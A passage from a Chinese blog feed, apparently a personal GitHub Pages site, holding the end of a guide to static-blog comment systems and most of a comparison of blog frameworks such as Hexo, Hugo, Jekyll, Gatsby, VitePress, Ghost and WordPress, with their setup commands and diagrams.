class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%91%8D-%E4%BC%98%E7%82%B9--%F0%9F%91%8E-%E7%BC%BA%E7%82%B9">👍 优点 &amp; 👎 缺点</span></h3><ul><li>✅ <strong>傻瓜式接入</strong>：注册一个站点 ID，复制粘贴即可</li><li>✅ <strong>功能最成熟</strong>：运营十余年，该有的功能都有</li><li>❌ <strong>国内加载慢</strong>：服务器在海外，偶尔加载不出来</li><li>❌ <strong>隐私争议</strong>：免费版会植入广告并追踪用户数据</li><li>❌ <strong>数据不自主</strong>：所有评论存在 Disqus 服务器上</li></ul><hr><h2><span id="6-artalk--%E5%9B%BD%E4%BA%A7%E6%96%B0%E6%98%9F%E8%87%AA%E6%89%98%E7%AE%A1%E6%96%B9%E6%A1%88">6. Artalk — 国产新星自托管方案</span></h2><p><img src="https://artalk.js.org/assets/img/artalk.png" alt="Artalk"></p><p><strong>官网</strong>: <a href="https://artalk.js.org/">https://artalk.js.org</a><br><strong>GitHub Stars</strong>: ⭐ 1.8k+<br><strong>数据存储</strong>: 自托管（SQLite / MySQL / PostgreSQL）</p><h3><span id="%E2%9C%A8-%E6%A0%B8%E5%BF%83%E7%89%B9%E7%82%B9">✨ 核心特点</span></h3><table><thead><tr><th>特点</th><th>说明</th></tr></thead><tbody><tr><td>🎨 <strong>极简 UI</strong></td><td>设计简洁，颜值在线</td></tr><tr><td>🔒 <strong>自托管</strong></td><td>一条 Docker 命令部署，数据完全自主</td></tr><tr><td>📧 <strong>邮件通知</strong></td><td>支持 SMTP 发送通知邮件</td></tr><tr><td>📊 <strong>管理后台</strong></td><td>内置管理面板，可以在线审核回复</td></tr><tr><td>🌏 <strong>中文优先</strong></td><td>国产项目，中文支持一流</td></tr></tbody></table><h3><span id="%F0%9F%94%A7-docker-%E4%B8%80%E6%9D%A1%E5%91%BD%E4%BB%A4">🔧 Docker 一条命令</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash">docker run -d \<br>  --name artalk \<br>  -p 23366:23366 \<br>  -v $(<span class="hljs-built_in">pwd</span>)/data:/data \<br>  artalk/artalk-go<br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%91%8D-%E4%BC%98%E7%82%B9--%F0%9F%91%8E-%E7%BC%BA%E7%82%B9">👍 优点 &amp; 👎 缺点</span></h3><ul><li>✅ <strong>部署极简</strong>：Docker 一条命令跑起来</li><li>✅ <strong>界面好看</strong>：颜值在国产方案中数一数二</li><li>✅ <strong>管理后台内置</strong>：不需要额外部署管理面板</li><li>❌ <strong>相对小众</strong>：插件和主题生态不如 Waline 丰富</li><li>❌ <strong>邮件配置略麻烦</strong>：不同邮箱服务商 SMTP 配置各不相同</li></ul><hr><h2><span id="7-gitalk--github-issues-%E7%9A%84%E5%8F%A4%E5%85%B8%E6%96%B9%E6%A1%88">7. Gitalk — GitHub Issues 的古典方案</span></h2><p><img src="https://raw.githubusercontent.com/gitalk/gitalk/master/assets/logo.svg" alt="Gitalk"></p><p><strong>官网</strong>: <a href="https://github.com/gitalk/gitalk">https://github.com/gitalk/gitalk</a><br><strong>GitHub Stars</strong>: ⭐ 7k+<br><strong>数据存储</strong>: GitHub Issues</p><h3><span id="%E2%9C%A8-%E6%A0%B8%E5%BF%83%E7%89%B9%E7%82%B9">✨ 核心特点</span></h3><p>这是最早的 “GitHub Issues 做评论” 方案，utterances 和 Giscus 都是后来者。</p><table><thead><tr><th>特点</th><th>说明</th></tr></thead><tbody><tr><td>🐙 <strong>GitHub Issues</strong></td><td>每篇文章自动创建 Issue</td></tr><tr><td>🔐 <strong>OAuth App</strong></td><td>需要自己注册 GitHub OAuth Application</td></tr><tr><td>📝 <strong>经典方案</strong></td><td>Hexo Next 等主题原生支持</td></tr></tbody></table><h3><span id="%E2%9A%A0%EF%B8%8F-%E7%8E%B0%E7%8A%B6">⚠️ 现状</span></h3><blockquote><p>🔴 <strong>已不推荐使用</strong>：Gitalk 维护停滞，GitHub OAuth 授权流程复杂。同类方案中 <strong>Giscus</strong> 是它的现代升级替代品，体验好得多。</p></blockquote><hr><h2><span id="%E5%A6%82%E4%BD%95%E9%80%89%E6%8B%A9">如何选择？</span></h2><h3><span id="%F0%9F%8E%AF-%E6%8C%89%E5%9C%BA%E6%99%AF%E6%8E%A8%E8%8D%90">🎯 按场景推荐</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">flowchart TD<br>    A[选评论系统] --&gt; B{主要读者是谁？}<br>    <br>    B --&gt;|国内用户为主| C{愿意折腾吗？}<br>    B --&gt;|程序员/技术圈| D{在乎极致简单？}<br>    <br>    C --&gt;|愿意| E[Waline&lt;br/&gt;功能最全，生态最好]<br>    C --&gt;|不想折腾| F[Twikoo&lt;br/&gt;腾讯云免费额度够用]<br>    <br>    D --&gt;|是| G[Giscus&lt;br/&gt;零配置，体验一流]<br>    D --&gt;|否| H[Waline&lt;br/&gt;更多功能选择]<br>    <br>    B --&gt;|全球用户| I{在乎隐私？}<br>    I --&gt;|是| J[Giscus&lt;br/&gt;数据在 GitHub]<br>    I --&gt;|否| K[Disqus&lt;br/&gt;用户基数大]<br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%93%8A-%E5%86%B3%E7%AD%96%E7%9F%A9%E9%98%B5">📊 决策矩阵</span></h3><table><thead><tr><th>你的需求</th><th>推荐系统</th><th>一句话理由</th></tr></thead><tbody><tr><td>🎯 <strong>首选推荐（极简）</strong></td><td><strong>Giscus</strong></td><td>零成本、零运维、零配置，最美观</td></tr><tr><td>🇨🇳 <strong>国内用户最佳</strong></td><td><strong>Waline</strong></td><td>社交登录 + 国产生态 + 功能最全</td></tr><tr><td>☁️ <strong>腾讯云用户</strong></td><td><strong>Twikoo</strong></td><td>CloudBase 免费额度 + 反垃圾</td></tr><tr><td>🗄️ <strong>数据自主可控</strong></td><td><strong>Waline / Artalk</strong></td><td>数据库完全归你所有</td></tr><tr><td>🐳 <strong>Docker 爱好者</strong></td><td><strong>Artalk</strong></td><td>一条命令跑起来</td></tr><tr><td>🌍 <strong>全球用户</strong></td><td><strong>Disqus</strong></td><td>用户基数最大，登录无障碍</td></tr><tr><td>⚡ <strong>只要能用就行</strong></td><td><strong>utterances</strong></td><td>一行 HTML 完事</td></tr></tbody></table><hr><p><em>📅 更新于 2026-06-27 · 如有疑问欢迎讨论</em></p></body></html>]]>
    </content>
    <id>https://ttquk.github.io/2026/06/27/%E8%AF%84%E8%AE%BA%E7%B3%BB%E7%BB%9F%E5%AF%B9%E6%AF%94%E6%8C%87%E5%8D%97/</id>
    <link href="https://ttquk.github.io/2026/06/27/%E8%AF%84%E8%AE%BA%E7%B3%BB%E7%BB%9F%E5%AF%B9%E6%AF%94%E6%8C%87%E5%8D%97/"/>
    <published>2026-06-27T12:30:00.000Z</published>
    <summary>从数据存储、隐私保护、成本、界面美观度和国内可用性五个维度，全面对比 Gitalk、Giscus、Valine 等静态博客评论方案。</summary>
    <title>💬静态博客评论系统对比指南</title>
    <updated>2026-07-12T03:17:18.317Z</updated>
  </entry>
  <entry>
    <author>
      <name>TT清沫uk</name>
    </author>
    <category term="博客" scheme="https://ttquk.github.io/categories/%E5%8D%9A%E5%AE%A2/"/>
    <category term="Hexo" scheme="https://ttquk.github.io/tags/Hexo/"/>
    <category term="博客" scheme="https://ttquk.github.io/tags/%E5%8D%9A%E5%AE%A2/"/>
    <content>
      <![CDATA[<html><head></head><body><blockquote><p>选对框架，让你的博客之路事半功倍。本文从<strong>性能、生态、易用性、适用场景</strong>四个维度，全面对比当前最流行的博客框架。</p></blockquote><h2><span id="%F0%9F%93%8B-%E7%9B%AE%E5%BD%95">📋 目录</span></h2><ol><li><a href="#%E6%80%BB%E8%A7%88%E5%AF%B9%E6%AF%94%E8%A1%A8">总览对比表</a></li><li><a href="#1-hexo--%E6%9E%81%E9%80%9F%E9%9D%99%E6%80%81%E5%8D%9A%E5%AE%A2%E7%94%9F%E6%88%90%E5%99%A8">Hexo — 极速静态博客生成器</a></li><li><a href="#2-hugo--%E7%BC%96%E8%AF%91%E9%80%9F%E5%BA%A6%E4%B9%8B%E7%8E%8B">Hugo — 编译速度之王</a></li><li><a href="#3-jekyll--github-pages-%E7%9A%84%E9%BB%84%E9%87%91%E6%90%AD%E6%A1%A3">Jekyll — GitHub Pages 的黄金搭档</a></li><li><a href="#4-gatsby--%E7%8E%B0%E4%BB%A3%E5%89%8D%E7%AB%AF%E6%8A%80%E6%9C%AF%E6%A0%88%E9%A6%96%E9%80%89">Gatsby — 现代前端技术栈首选</a></li><li><a href="#5-vuepress--vitepress--%E6%8A%80%E6%9C%AF%E6%96%87%E6%A1%A3%E5%88%A9%E5%99%A8">VuePress / VitePress — 技术文档利器</a></li><li><a href="#6-ghost--%E4%B8%93%E4%B8%9A%E5%86%85%E5%AE%B9%E5%8F%91%E5%B8%83%E5%B9%B3%E5%8F%B0">Ghost — 专业内容发布平台</a></li><li><a href="#7-wordpress--%E5%85%A8%E7%90%83%E6%9C%80%E6%B5%81%E8%A1%8C%E7%9A%84-cms">WordPress — 全球最流行的 CMS</a></li><li><a href="#8-astro--%E5%B2%9B%E5%B1%BF%E6%9E%B6%E6%9E%84%E9%BB%98%E8%AE%A4%E9%9B%B6-js">Astro — 岛屿架构，默认零 JS</a></li><li><a href="#%E5%A6%82%E4%BD%95%E9%80%89%E6%8B%A9">如何选择？</a></li></ol><hr><h2><span id="%E6%80%BB%E8%A7%88%E5%AF%B9%E6%AF%94%E8%A1%A8">总览对比表</span></h2><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">┌─────────────┬──────────┬──────────┬──────────┬───────────┬──────────────┐<br>│   框架      │  语言    │ 构建速度 │ 学习曲线 │  GitHub   │  最适合      │<br>│             │          │          │          │  Pages    │              │<br>├─────────────┼──────────┼──────────┼──────────┼───────────┼──────────────┤<br>│   Hexo      │ Node.js  │   ⚡⚡    │   ★☆☆    │   ✅      │ 个人博客     │<br>│   Hugo      │   Go     │   ⚡⚡⚡  │   ★★☆    │   ✅      │ 大型站点     │<br>│   Jekyll    │  Ruby    │   ⚡⚡    │   ★☆☆    │   ✅✅    │ GitHub托管   │<br>│   Gatsby    │  React   │   ⚡     │   ★★★    │   ✅      │ 现代Web应用  │<br>│   VitePress │  Vue/TS  │   ⚡⚡⚡  │   ★★☆    │   ✅      │ 技术文档     │<br>│   Ghost     │ Node.js  │   N/A    │   ★★☆    │   ❌      │ 内容创作     │<br>│   WordPress │   PHP    │   N/A    │   ★☆☆    │   ❌      │ 全能型CMS    │<br>│   Astro     │ JS/TS    │   ⚡⚡⚡  │   ★★☆    │   ✅      │ 内容站点     │<br>└─────────────┴──────────┴──────────┴──────────┴───────────┴──────────────┘<br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="1-hexo--%E6%9E%81%E9%80%9F%E9%9D%99%E6%80%81%E5%8D%9A%E5%AE%A2%E7%94%9F%E6%88%90%E5%99%A8">1. Hexo — 极速静态博客生成器</span></h2><p><img src="https://hexo.io/icon/favicon-196x196.png" alt="Hexo"></p><p><strong>官网</strong>: <a href="https://hexo.io/">https://hexo.io</a><br><strong>GitHub Stars</strong>: ⭐ 39k+<br><strong>首发年份</strong>: 2012</p><h3><span id="%E2%9C%A8-%E6%A0%B8%E5%BF%83%E7%89%B9%E7%82%B9">✨ 核心特点</span></h3><table><thead><tr><th>特点</th><th>说明</th></tr></thead><tbody><tr><td>🚀 <strong>极速生成</strong></td><td>数百篇文章秒级生成，Node.js 异步 IO 加持</td></tr><tr><td>📝 <strong>Markdown 原生</strong></td><td>支持 GitHub Flavored Markdown，写作体验极佳</td></tr><tr><td>🎨 <strong>丰富主题</strong></td><td>官方主题市场 300+ 主题，NexT、Butterfly 等经典主题</td></tr><tr><td>🔌 <strong>插件系统</strong></td><td>强大的插件架构，RSS、Sitemap、SEO 一键集成</td></tr><tr><td>🌍 <strong>一键部署</strong></td><td>一条命令部署到 GitHub Pages、Vercel、Netlify 等</td></tr></tbody></table><h3><span id="%F0%9F%94%A7-%E6%A0%B8%E5%BF%83%E5%91%BD%E4%BB%A4">🔧 核心命令</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs bash">npm install hexo-cli -g      <span class="hljs-comment"># 安装</span><br>hexo init my-blog            <span class="hljs-comment"># 初始化</span><br>hexo new <span class="hljs-string">"我的第一篇文章"</span>      <span class="hljs-comment"># 新建文章</span><br>hexo generate                <span class="hljs-comment"># 生成静态文件</span><br>hexo server                  <span class="hljs-comment"># 本地预览</span><br>hexo deploy                  <span class="hljs-comment"># 一键部署</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%93%8A-%E6%A1%86%E6%9E%B6%E6%9E%B6%E6%9E%84">📊 框架架构</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">graph LR<br>    A[Markdown 源文件] --&gt; B[Hexo 引擎]<br>    B --&gt; C[主题渲染]<br>    B --&gt; D[插件处理]<br>    C --&gt; E[纯静态 HTML]<br>    D --&gt; E<br>    E --&gt; F[GitHub Pages]<br>    E --&gt; G[Vercel]<br>    E --&gt; H[自有服务器]<br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%91%8D-%E4%BC%98%E7%82%B9--%F0%9F%91%8E-%E7%BC%BA%E7%82%B9">👍 优点 &amp; 👎 缺点</span></h3><ul><li>✅ <strong>中文生态极好</strong>：大量中文主题、教程和插件</li><li>✅ <strong>学习曲线平缓</strong>：前端开发者几乎零门槛</li><li>✅ <strong>部署极其简单</strong>：<code>hexo deploy</code> 一键推送</li><li>❌ <strong>文章多时构建变慢</strong>：超过 500 篇文章增量编译才有优势</li><li>❌ <strong>Node.js 依赖</strong>：需要 Node.js 环境</li></ul><hr><h2><span id="2-hugo--%E7%BC%96%E8%AF%91%E9%80%9F%E5%BA%A6%E4%B9%8B%E7%8E%8B">2. Hugo — 编译速度之王</span></h2><p><img src="https://gohugo.io/favicon-32x32.png" alt="Hugo"></p><p><strong>官网</strong>: <a href="https://gohugo.io/">https://gohugo.io</a><br><strong>GitHub Stars</strong>: ⭐ 76k+<br><strong>首发年份</strong>: 2013</p><h3><span id="%E2%9C%A8-%E6%A0%B8%E5%BF%83%E7%89%B9%E7%82%B9">✨ 核心特点</span></h3><table><thead><tr><th>特点</th><th>说明</th></tr></thead><tbody><tr><td>⚡ <strong>极致速度</strong></td><td>Go 语言编译，10000 篇文章 &lt; 1 秒构建</td></tr><tr><td>📦 <strong>单二进制</strong></td><td>无需安装运行时，一个可执行文件搞定</td></tr><tr><td>🏗️ <strong>灵活内容</strong></td><td>支持 Markdown、AsciiDoc、Org-mode 等多种格式</td></tr><tr><td>🌍 <strong>多语言</strong></td><td>原生多语言支持，国际化站点首选</td></tr><tr><td>🧩 <strong>Taxonomies</strong></td><td>强大的分类系统，自定义标签、分类、系列</td></tr></tbody></table><h3><span id="%F0%9F%94%A7-%E6%A0%B8%E5%BF%83%E5%91%BD%E4%BB%A4">🔧 核心命令</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs bash">hugo new site my-blog          <span class="hljs-comment"># 新建站点</span><br>hugo new posts/hello-world.md  <span class="hljs-comment"># 新建文章</span><br>hugo server -D                 <span class="hljs-comment"># 本地预览（含草稿）</span><br>hugo                           <span class="hljs-comment"># 构建（毫秒级完成）</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%93%8A-%E6%9E%84%E5%BB%BA%E6%80%A7%E8%83%BD%E5%AF%B9%E6%AF%94">📊 构建性能对比</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">graph TD<br>    subgraph "构建 5000 篇文章耗时"<br>        A[Hexo: ~120s] <br>        B[Jekyll: ~90s]<br>        C[Hugo: ~2s]<br>        D[Gatsby: ~180s]<br>    end<br>    style C fill:#4CAF50,stroke:#333,color:#fff<br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%91%8D-%E4%BC%98%E7%82%B9--%F0%9F%91%8E-%E7%BC%BA%E7%82%B9">👍 优点 &amp; 👎 缺点</span></h3><ul><li>✅ <strong>速度碾压所有同类</strong>：没有比 Hugo 更快的静态站点生成器</li><li>✅ <strong>零依赖安装</strong>：下载一个文件就能用</li><li>✅ <strong>LiveReload 极快</strong>：修改即时可见</li><li>❌ <strong>模板语法独特</strong>：Go Template 语法需要适应</li><li>❌ <strong>中文主题较少</strong>：相比 Hexo 中文资源略显不足</li></ul><hr><h2><span id="3-jekyll--github-pages-%E7%9A%84%E9%BB%84%E9%87%91%E6%90%AD%E6%A1%A3">3. Jekyll — GitHub Pages 的黄金搭档</span></h2><p><img src="https://jekyllrb.com/img/logo-2x.png" alt="Jekyll"></p><p><strong>官网</strong>: <a href="https://jekyllrb.com/">https://jekyllrb.com</a><br><strong>GitHub Stars</strong>: ⭐ 49k+<br><strong>首发年份</strong>: 2008（静态博客鼻祖）</p><h3><span id="%E2%9C%A8-%E6%A0%B8%E5%BF%83%E7%89%B9%E7%82%B9">✨ 核心特点</span></h3><table><thead><tr><th>特点</th><th>说明</th></tr></thead><tbody><tr><td>🏠 <strong>GitHub Pages 原生</strong></td><td>GitHub 官方支持，无需构建，推送即部署</td></tr><tr><td>💎 <strong>Liquid 模板</strong></td><td>Shopify 同款模板引擎，简单强大</td></tr><tr><td>📦 <strong>丰富插件</strong></td><td>GitHub 官方维护大量插件</td></tr><tr><td>🎨 <strong>Minima 主题</strong></td><td>经典简约，适合文字创作者</td></tr><tr><td>🔒 <strong>安全稳定</strong></td><td>Ruby 生态成熟，安全漏洞响应快</td></tr></tbody></table><h3><span id="%F0%9F%94%A7-%E6%A0%B8%E5%BF%83%E5%91%BD%E4%BB%A4">🔧 核心命令</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs bash">gem install jekyll bundler     <span class="hljs-comment"># 安装</span><br>jekyll new my-blog             <span class="hljs-comment"># 新建站点</span><br>jekyll serve                   <span class="hljs-comment"># 本地预览</span><br>jekyll build                   <span class="hljs-comment"># 构建</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%93%8A-%E5%B7%A5%E4%BD%9C%E6%B5%81%E7%A8%8B">📊 工作流程</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">flowchart TD<br>    A[推送 Markdown 到 GitHub] --&gt; B{GitHub Actions}<br>    B --&gt; C[Jekyll 构建]<br>    C --&gt; D[生成静态 HTML]<br>    D --&gt; E[部署到 GitHub Pages]<br>    E --&gt; F[yourname.github.io]<br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%91%8D-%E4%BC%98%E7%82%B9--%F0%9F%91%8E-%E7%BC%BA%E7%82%B9">👍 优点 &amp; 👎 缺点</span></h3><ul><li>✅ <strong>GitHub 深度集成</strong>：最省心的部署体验</li><li>✅ <strong>稳定可靠</strong>：运行十余年，生态成熟</li><li>✅ <strong>适合纯写作</strong>：无需关心前端细节</li><li>❌ <strong>Windows 环境不友好</strong>：Ruby 在 Windows 上体验差</li><li>❌ <strong>构建速度一般</strong>：大规模站点构建较慢</li></ul><hr><h2><span id="4-gatsby--%E7%8E%B0%E4%BB%A3%E5%89%8D%E7%AB%AF%E6%8A%80%E6%9C%AF%E6%A0%88%E9%A6%96%E9%80%89">4. Gatsby — 现代前端技术栈首选</span></h2><p><img src="https://www.gatsbyjs.com/icons/icon-192x192.png" alt="Gatsby"></p><p><strong>官网</strong>: <a href="https://www.gatsbyjs.com/">https://www.gatsbyjs.com</a><br><strong>GitHub Stars</strong>: ⭐ 55k+<br><strong>首发年份</strong>: 2015</p><h3><span id="%E2%9C%A8-%E6%A0%B8%E5%BF%83%E7%89%B9%E7%82%B9">✨ 核心特点</span></h3><table><thead><tr><th>特点</th><th>说明</th></tr></thead><tbody><tr><td>⚛️ <strong>React 技术栈</strong></td><td>基于 React，可以写任何现代 Web 应用</td></tr><tr><td>🔗 <strong>GraphQL 数据层</strong></td><td>统一的数据层，博客内容、API、CMS 全打通</td></tr><tr><td>📸 <strong>图片优化</strong></td><td>gatsby-plugin-image 自动懒加载、WebP 转换</td></tr><tr><td>🔌 <strong>4000+ 插件</strong></td><td>生态极其丰富，几乎无所不能</td></tr><tr><td>☁️ <strong>Gatsby Cloud</strong></td><td>官方云平台，增量构建极快</td></tr></tbody></table><h3><span id="%F0%9F%93%8A-%E6%95%B0%E6%8D%AE%E5%B1%82%E6%9E%B6%E6%9E%84">📊 数据层架构</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">graph TD<br>    subgraph "数据源"<br>        A1[Markdown 文件]<br>        A2[WordPress API]<br>        A3[Headless CMS]<br>        A4[数据库]<br>    end<br>    <br>    subgraph "Gatsby"<br>        B[GraphQL 数据层]<br>        C[React 组件]<br>        D[静态页面生成]<br>    end<br>    <br>    A1 --&gt; B<br>    A2 --&gt; B<br>    A3 --&gt; B<br>    A4 --&gt; B<br>    B --&gt; C<br>    C --&gt; D<br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%91%8D-%E4%BC%98%E7%82%B9--%F0%9F%91%8E-%E7%BC%BA%E7%82%B9">👍 优点 &amp; 👎 缺点</span></h3><ul><li>✅ <strong>前端性能极致</strong>：代码分割、预加载、PWA 开箱即用</li><li>✅ <strong>数据源极其灵活</strong>：什么都能接，什么都能展示</li><li>✅ <strong>React 生态复用</strong>：React 开发者零学习成本</li><li>❌ <strong>构建速度慢</strong>：大型站点构建可能数十分钟</li><li>❌ <strong>概念复杂</strong>：GraphQL + Gatsby API 学习曲线陡峭</li></ul><hr><h2><span id="5-vuepress--vitepress--%E6%8A%80%E6%9C%AF%E6%96%87%E6%A1%A3%E5%88%A9%E5%99%A8">5. VuePress / VitePress — 技术文档利器</span></h2><p><img src="https://vitepress.dev/vitepress-logo-mini.svg" alt="VitePress"></p><p><strong>VuePress 官网</strong>: <a href="https://vuepress.vuejs.org/">https://vuepress.vuejs.org</a><br><strong>VitePress 官网</strong>: <a href="https://vitepress.dev/">https://vitepress.dev</a><br><strong>GitHub Stars</strong>: ⭐ 22k+ / 13k+</p><h3><span id="%E2%9C%A8-%E6%A0%B8%E5%BF%83%E7%89%B9%E7%82%B9">✨ 核心特点</span></h3><table><thead><tr><th>特点</th><th>VitePress</th><th>VuePress</th></tr></thead><tbody><tr><td>🚀 <strong>构建工具</strong></td><td>Vite（极快）</td><td>Webpack</td></tr><tr><td>📝 <strong>Markdown 增强</strong></td><td>✅ 内置</td><td>✅ 内置</td></tr><tr><td>🎨 <strong>默认主题</strong></td><td>极简现代</td><td>经典文档风</td></tr><tr><td>🔍 <strong>内置搜索</strong></td><td>✅ 本地搜索</td><td>✅ Algolia</td></tr><tr><td>📱 <strong>响应式</strong></td><td>✅</td><td>✅</td></tr></tbody></table><h3><span id="%F0%9F%94%A7-vitepress-%E5%BF%AB%E9%80%9F%E5%BC%80%E5%A7%8B">🔧 VitePress 快速开始</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs bash">npm add -D vitepress<br>npx vitepress init<br>npm run docs:dev       <span class="hljs-comment"># 本地预览</span><br>npm run docs:build     <span class="hljs-comment"># 构建</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%91%8D-%E4%BC%98%E7%82%B9--%F0%9F%91%8E-%E7%BC%BA%E7%82%B9">👍 优点 &amp; 👎 缺点</span></h3><ul><li>✅ <strong>文档体验一流</strong>：侧边栏、导航、搜索开箱即用</li><li>✅ <strong>VitePress 构建极快</strong>：秒级热更新</li><li>✅ <strong>Vue 生态完美契合</strong>：可以在 Markdown 中使用 Vue 组件</li><li>❌ <strong>博客功能偏弱</strong>：更适合文档站，博客能力需二次开发</li><li>❌ <strong>Vue 限定</strong>：需要 Vue 基础</li></ul><hr><h2><span id="6-ghost--%E4%B8%93%E4%B8%9A%E5%86%85%E5%AE%B9%E5%8F%91%E5%B8%83%E5%B9%B3%E5%8F%B0">6. Ghost — 专业内容发布平台</span></h2><p><img src="https://ghost.org/favicon.ico" alt="Ghost"></p><p><strong>官网</strong>: <a href="https://ghost.org/">https://ghost.org</a><br><strong>GitHub Stars</strong>: ⭐ 47k+<br><strong>首发年份</strong>: 2013</p><h3><span id="%E2%9C%A8-%E6%A0%B8%E5%BF%83%E7%89%B9%E7%82%B9">✨ 核心特点</span></h3><table><thead><tr><th>特点</th><th>说明</th></tr></thead><tbody><tr><td>✍️ <strong>专业编辑器</strong></td><td>类 Medium 的所见即所得编辑器 + Markdown 卡片</td></tr><tr><td>💰 <strong>会员系统</strong></td><td>内置订阅付费、邮件通讯功能</td></tr><tr><td>📧 <strong>Newsletter</strong></td><td>原生邮件推送，可替代 Substack</td></tr><tr><td>🎨 <strong>Casper 主题</strong></td><td>官方主题极美，排版一流</td></tr><tr><td>🔌 <strong>Headless 模式</strong></td><td>可作为 Headless CMS 供前端框架调用</td></tr></tbody></table><h3><span id="%F0%9F%93%8A-%E5%AF%B9%E6%AF%94%E9%9D%99%E6%80%81%E5%8D%9A%E5%AE%A2">📊 对比静态博客</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">graph LR<br>    subgraph "静态博客 (Hexo/Hugo)"<br>        A1[写作] --&gt; A2[构建] --&gt; A3[部署 HTML]<br>        A3 --&gt; A4[CDN 加速]<br>    end<br>    <br>    subgraph "动态博客 (Ghost)"<br>        B1[在线编辑] --&gt; B2[实时发布]<br>        B2 --&gt; B3[数据库驱动]<br>        B3 --&gt; B4[服务端渲染]<br>    end<br></code></pre></td></tr></tbody></table></figure><h3><span id="%F0%9F%91%8D-%E4%BC%98%E7%82%B9--%F0%9F%91%8E-%E7%BC%BA%E7%82%B9">👍 优点 &amp; 👎 缺点</span></h3><ul><li>✅ <strong>写作体验最佳</strong>：编辑器体验远超静态博客</li><li>✅ <strong>商业化能力</strong>：会员 + 付费订阅开箱即用</li><li>❌ <strong>需要服务器</strong>：Node.js + MySQL，有运维成本</li><li>❌ <strong>免费版功能受限</strong>：Ghost(Pro) 托管费用较高</li></ul><hr><h2><span id="7-wordpress--%E5%85%A8%E7%90%83%E6%9C%80%E6%B5%81%E8%A1%8C%E7%9A%84-cms">7. WordPress — 全球最流行的 CMS</span></h2><p><img src="https://s.w.org/images/wmark.png" alt="WordPress"></p><p><strong>官网</strong>: <a href="https://wordpress.org/">https://wordpress.org</a><br><strong>全球市场份额</strong>: 🌍 <strong>43%</strong> 的网站使用 WordPress<br><strong>首发年份</strong>: 2003</p><h3><span id="%E2%9C%A8-%E6%A0%B8%E5%BF%83%E7%89%B9%E7%82%B9">✨ 核心特点</span></h3><table><thead><tr><th>特点</th><th>说明</th></tr></thead><tbody><tr><td>🌍 <strong>市场占有率第一</strong></td><td>全球 43% 的网站运行在 WordPress 上</td></tr><tr><td>🧩 